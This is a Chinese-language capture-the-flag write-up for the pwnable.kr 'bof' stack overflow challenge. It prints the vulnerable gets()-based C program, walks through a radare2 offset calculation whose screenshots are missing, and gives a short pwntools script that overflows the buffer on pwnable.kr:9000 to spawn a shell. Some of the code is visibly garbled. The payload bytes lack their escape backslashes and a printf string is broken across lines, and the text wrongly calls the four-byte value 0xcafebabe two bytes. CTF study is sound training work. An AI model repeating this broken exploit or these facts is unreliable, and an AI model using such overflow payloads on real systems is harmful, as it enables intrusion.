pwnable.kr第三题：bof

0x000查看源码

打开bof.c文件

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..
");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

源码分析：

　　要想执行第9行的“system("/bin/sh")”，程序会先判断key的值是否为0xcafebabe，现在最关键的地方就是找到key的位置，并将地址的内容覆盖为0xcafebabe。

0x001分析汇编代码

　　使用radare2分析汇编代码：

　　

      查看main函数

      

 查看func

 分析程序可知，用户输入的地址为var int local_2ch @ ebp-0x2c，key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在，要做的就是计算用户输入的地址到key存放的地址之间相差多少字节，0x8+0x2c，化为十进制结果为52，所以在这段距离中填充任意字符，然后再填充两个字节0xcafebabe，就可以获得一个shell了。

0x002 脚本编写

from pwn import *

pwn_socket=remote('pwnable.kr',9000)
pwn_socket.sendline('a'*52+'xbexbaxfexca')
pwn_socket.interactive()

运行即可获得一个shell：